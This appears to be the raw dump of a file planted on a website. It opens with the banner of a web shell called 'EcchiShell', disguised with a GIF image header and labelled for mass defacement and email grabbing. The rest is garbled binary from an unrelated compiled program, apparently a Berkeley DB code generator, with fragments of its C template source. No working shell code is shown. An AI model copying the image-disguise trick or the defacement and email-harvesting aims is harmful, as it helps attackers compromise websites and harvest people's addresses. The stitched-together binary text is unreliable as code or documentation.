GIF89a; EcchiShell v1.0
//usr/bin/

Mass Deface Email Grabber

f$jv$7$$$T$\l$L2E$$$D$l$D$h$D$d$D$`$D$X$D$T$D$P$D$H$D$D$D$@$D$<$D$8$D$4$D$0$D$,$L$(|$D$D$$$D$ $D$$D$$D$$D$ $D$p$v4DŽ$F0$F,$F($F0L$|$<$F)$Iщ$K$F$M$F$F$F $F$F$I$$$D$|@V$K$t&D$|@ D$|T$$$7$DD$|7$8$$‰ʼn$$$$$$$$%D$|@ D$|pD$D$D$ $$#pD$xD$D$ l$pD$D$D$ $pD$eD$D$ $pD$oD$D$ $hD$pD$$#D$pD$$pD$JD$D$ $pD$D$D$ $D$pD$$D$pD$$sD$pD$$SD$pD$$3HD$pD$$D$pD$$D$pD$$xD$pD$$pD$D$D$ 4$D$pD$$kD$pD$$KpD$OD$D$ p$cD$pD$$D$pD$$1[^_]ËD$D$ D$|D$p$cx$t$D$D$D$ 3D$$h[^_]ffffUWVSl$t$\fFD$(D$,e$\1ǃ|vD$,D$4$D$_D$ 4$hT$\҉T$$LT$$8t&U)DG u#E<# t #uD$4D$,$>|$4<$D$$D$|$$D$(l$D$D$D$ pD$$$\e3 l[^_]À?}uu|$$u| {ux@|D$(^D$<$|$$*|xD$D$8D$$듍v !%tDJD)D$(D$D$D$ D$$fD$<$.|$$J|=D$8l$0l$D$D$ D$$D$7xT$0PD$8l$D$D$ D$$D$xT$0P D$8l$D$D$ D$$D$`T$0xPD$<8{RxH|:xD$ D$0D$$u$D$D$D$ 7D$$D$<$uK|$$|x@'&8D$,$m1D$<$$<|$$@D$<8{3x)|uixD$ D$0D$$QxP(P,@(@@ JH$x BtD$ D$<D$$st$D$D$8D$Mtxǃ|@4J,H8R,txH4J,PfD$<$u*|$$|t@pD$<$|$$|t@(,t&x$D$D$8D$Uxǃ|P(P,@(@ JH$xH JPD$<$up|$$|D$0D$D$8D$D$ D$$D$T$0tP6D$<$ND$<$4|$$P|CD$0D$D$8D$D$ D$$D$=T$0tP f|$$|tu%D$<$u&|$$|tt-D$<$Gu*|$$g|Zt@,4D$<$uj|$$'|D$0D$D$8D$D$ D$$D$T$0tPi;D$<$|$$|D$8|$0|$D$D$ D$$D$?tT$0P$D$<|$D$D$ D$$D$GT$0tP LD$<$u7|$$|t@0x@OD$<$m|$$|||$8XD$<$7t}^D$<$!t_cD$<$ t2iD$<$tQT$ǃ|ύfffffffUW1VSÅ;l$0=)t'D$8,$D$D$4D$9u߃[^_] fffffffS ;lSs:[c++cxxjavar%s: %s: %s a:i:o:Vvusage: %s [-Vv] [-a c] [-i input] [-o output] C++ and Java APIs not yet supported x l [ application.c }, NULL_callbackbdb_&_compare_dbenvw } }; #include #include #include #include #include #ifdef _WIN32 #include #define mkdir(dir, perm) _mkdir(dir) #endif #include "db.h" /* Global environment and database handles for use by the application */ /* Public functions for use by the application */ int bdb_startup(void); int bdb_shutdown(void); DB_ENV *%s_dbenv; /* Database environment handle */ DB *%s; /* Database handle */ DB *%s_%s; /* Database handle */ /* DB_ENV initialization structures */ typedef struct { DB_ENV **envpp; char *home; u_int32_t gbytes; u_int32_t bytes; u_int32_t ncache; int private; int transaction; } env_list_t; static env_list_t env_list[] = { static int bdb_%s_callback(DB *secondary, const DBT *key, const DBT *data , DBT *result) { secondary->errx(secondary, "%s: missing callback comparison function"); return (DB_DONOTINDEX); } Warning: you must write a comparison function for the %s database result->data = &((u_int8_t *)data->data)[%d]; result->size = %d; return (0); } static int bdb_%s_compare(DB *, const DBT *, const DBT *); static int bdb_%s_compare(DB *dbp, const DBT *a, const DBT *b) { %s ai, bi; memcpy(&ai, a->data, sizeof(ai)); memcpy(&bi, b->data, sizeof(bi)); return (ai < bi ? -1 : (ai > bi ? 1 : 0)); } /* DB initialization structures */ typedef struct db_list_t { DB_ENV **envpp; DB **dbpp; char *name; DBTYPE type; u_int32_t extentsize; u_int32_t pagesize; u_int32_t re_len; int (*key_compare)(DB *, const DBT *, const DBT *); DB **primaryp; int (*secondary_callback)(DB *, const DBT *, const DBT *, DBT *); int dupsort; int recnum; int transaction; } db_list_t; static db_list_t db_list[] = { %s { &%s_dbenv, "%s", %lu, %lu, %lu, %d, %d#ifdef BUILD_STANDALONE int main() { return (bdb_startup() && bdb_shutdown() ? EXIT_FAILURE : EXIT_SUCCESS); } #endif static int bdb_env_startup(env_list_t *); static int bdb_env_shutdown(env_list_t *); static int bdb_db_startup(db_list_t *); static int bdb_db_shutdown(db_list_t *); /* * bdb_startup -- * Start up the environments and databases. */ int bdb_startup() { u_int i; /* Open environments. */ for (i = 0; i < sizeof(env_list) / sizeof(env_list[0]); ++i) if (bdb_env_startup(&env_list[i])) return (1); /* Open primary databases. */ for (i = 0; i < sizeof(db_list) / sizeof(db_list[0]); ++i) if (db_list[i].primaryp == NULL && bdb_db_startup(&db_list[i])) return (1); /* Open secondary databases. */ for (i = 0; i < sizeof(db_list) / sizeof(db_list[0]); ++i) if (db_list[i].primaryp != NULL && bdb_db_startup(&db_list[i])) return (1); return (0); } /* * bdb_shutdown -- * Shut down the environments and databases. */ int bdb_shutdown() { u_int i; /* Close secondary databases. */ for (i = 0; i < sizeof(db_list) / sizeof(db_list[0]); ++i) if (db_list[i].primaryp != NULL && bdb_db_shutdown(&db_list[i])) return (1); /* Close primary databases. */ for (i = 0; i < sizeof(db_list) / sizeof(db_list[0]); ++i) if (db_list[i].primaryp == NULL && bdb_db_shutdown(&db_list[i])) return (1); /* Close environments. */ for (i = 0; i < sizeof(env_list) / sizeof(env_list[0]); ++i) if (bdb_env_shutdown(&env_list[i])) return (1); return (0); } static int bdb_env_startup(env_list_t *ep) { struct stat sb; DB_ENV *dbenv; u_int32_t open_flags; int ret; /* * If the directory doesn't exist, create it with permissions limited * to the owner. Assume errors caused by the directory not existing; * we'd like to avoid interpreting system errors and it won't hurt to * attempt to create an existing directory. * * !!! * We use octal for the permissions, nothing else is portable. */ if (stat(ep->home, &sb) != 0) (void)mkdir(ep->home, 0700); /* * If the environment is not transactional, remove and re-create it. */ if (!ep->transaction) { if ((ret = db_env_create(&dbenv, 0)) != 0) { fprintf(stderr, "db_env_create: %%s", db_strerror(ret)); return (1); } if ((ret = dbenv->remove(dbenv, ep->home, DB_FORCE)) != 0) { dbenv->err(dbenv, ret, "DB_ENV->remove: %%s", ep->home); goto err; } } /* * Create the DB_ENV handle and initialize error reporting. */ if ((ret = db_env_create(&dbenv, 0)) != 0) { fprintf(stderr, "db_env_create: %%s", db_strerror(ret)); return (1); } dbenv->set_errpfx(dbenv, ep->home); dbenv->set_errfile(dbenv, stderr); /* Configure the cache size. */ if ((ep->gbytes != 0 || ep->bytes != 0) && (ret = dbenv->set_cachesize(dbenv, ep->gbytes, ep->bytes, ep->ncache)) != 0) { dbenv->err(dbenv, ret, "DB_ENV->set_cachesize"); goto err; } /* * Open the environment. */ open_flags = DB_CREATE | DB_INIT_MPOOL | DB_THREAD; if (ep->private) open_flags |= DB_PRIVATE; if (ep->transaction) open_flags |= DB_INIT_LOCK | DB_INIT_LOG | DB_INIT_TXN | DB_RECOVER; if ((ret = dbenv->open(dbenv, ep->home, open_flags, 0)) != 0) { dbenv->err(dbenv, ret, "DB_ENV->open: %%s", ep->home); goto err; } *ep->envpp = dbenv; return (0); err: (void)dbenv->close(dbenv, 0); return (1); } static int bdb_db_startup(db_list_t *dp) { DB_ENV *dbenv; DB *dbp; int ret; dbenv = dp->envpp == NULL ? NULL : *dp->envpp; /* * If the database is not transactional, remove it and re-create it. */ if (!dp->transaction) { if ((ret = db_create(&dbp, dbenv, 0)) != 0) { if (dbenv == NULL) fprintf(stderr, "db_create: %%s\n", db_strerror(ret)); else dbenv->err(dbenv, ret, "db_create"); return (1); } if ((ret = dbp->remove( dbp, dp->name, NULL, 0)) != 0 && ret != ENOENT) { if (dbenv == NULL) fprintf(stderr, "DB->remove: %%s: %%s\n", dp->name, db_strerror(ret)); else dbenv->err( dbenv, ret, "DB->remove: %%s", dp->name); return (1); } } if ((ret = db_create(&dbp, dbenv, 0)) != 0) { if (dbenv == NULL) fprintf(stderr, "db_create: %%s\n", db_strerror(ret)); else dbenv->err(dbenv, ret, "db_create"); return (1); } if (dbenv == NULL) { dbp->set_errpfx(dbp, dp->name); dbp->set_errfile(dbp, stderr); } if (dp->dupsort && (ret = dbp->set_flags(dbp, DB_DUPSORT)) != 0) { dbp->err(dbp, ret, "DB->set_flags: DB_DUPSORT: %%s", dp->name); goto err; } if (dp->recnum && (ret = dbp->set_flags(dbp, DB_RECNUM)) != 0) { dbp->err(dbp, ret, "DB->set_flags: DB_RECNUM: %%s", dp->name); goto err; } if (dp->extentsize != 0 && (ret = dbp->set_q_extentsize(dbp, dp->extentsize)) != 0) { dbp->err(dbp, ret, "DB->set_q_extentsize: %%lu: %%s", (u_long)dp->extentsize, dp->name); goto err; } if (dp->pagesize != 0 && (ret = dbp->set_pagesize(dbp, dp->pagesize)) != 0) { dbp->err(dbp, ret, "DB->set_pagesize: %%lu: %%s", (u_long)dp->pagesize, dp->name); goto err; } if (dp->re_len != 0 && (ret = dbp->set_re_len(dbp, dp->re_len)) != 0) { dbp->err(dbp, ret, "DB->set_re_len: %%lu: %%s", (u_long)dp->re_len, dp->name); goto err; } if (dp->key_compare != NULL && (ret = dbp->set_bt_compare(dbp, dp->key_compare)) != 0) { dbp->err(dbp, ret, "DB->set_bt_compare"); goto err; } if ((ret = dbp->open(dbp, NULL, dp->name, NULL, dp->type, (dp->transaction ? DB_AUTO_COMMIT : 0) | DB_CREATE | DB_THREAD, 0)) != 0) { dbp->err(dbp, ret, "DB->open: %%s", dp->name); goto err; } if (dp->primaryp != NULL && (ret = dbp->associate(*dp->primaryp, NULL, dbp, dp->secondary_callback, DB_CREATE)) != 0) { dbp->err(dbp, ret, "DB->associate: %%s", dp->name); goto err; } *dp->dbpp = dbp; return (0); err: (void)dbp->close(dbp, 0); return (1); } static int bdb_env_shutdown(env_list_t *ep) { DB_ENV *dbenv; int ret; dbenv = ep->envpp == NULL ? NULL : *ep->envpp; ret = 0; if (dbenv != NULL && (ret = dbenv->close(dbenv, 0)) != 0) fprintf(stderr, "DB_ENV->close: %%s: %%s\n", ep->home, db_strerror(ret)); return (ret == 0 ? 0 : 1); } static int bdb_db_shutdown(db_list_t *dp) { DB_ENV *dbenv; DB *dbp; int ret; dbenv = dp->envpp == NULL ? NULL : *dp->envpp; dbp = *dp->dbpp; ret = 0; /* * If the database is transactionally protected, close without writing; * dirty pages; otherwise, flush dirty pages to disk. */ if (dbp != NULL && (ret = dbp->close(dbp, dp->transaction ? DB_NOSYNC : 0)) != 0) { if (dbenv == NULL) fprintf(stderr, "DB->close: %%s: %%s\n", dp->name, db_strerror(ret)); else dbenv->err(dbenv, ret, "DB->close: %%s", dp->name); } return (ret == 0 ? 0 : 1); } %s { %s%s%s, &%s%s%s, "%s", %s, %lu, %lu, %lu, %s%s%s, %s%s%s%s, %s%s%s, %d, %d, %dDB_BTREEDB_HASHDB_QUEUEDB_RECNO%s: %d: line too longenvironment.homecachesizeprivatedatabasecustomdupsortextentsizekey_typepagesizeprimaryrecnumre_lensecondary_offsettransactionbtreehashqueuerecno%s: line %d: %s: invalid input ;@p\pLP`zR|   F J tx?;*2$",@hAB C AAA A Tp AA AAQ CA AAA tFA AA@`b AA AAF AA AAA 8 aAA CAN0HAA AAH\AN  Ї o8  (opoo&&6FVfvƈֈ&6FVfvGCC: (GNU) 4.8.2 20140120 (Red Hat 4.8.2-16).shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment TThh !$4o<> PF88No&&J[oppj (s  |Ї#w %%x$IDIxNNNNOPhhhPllP 0lP-P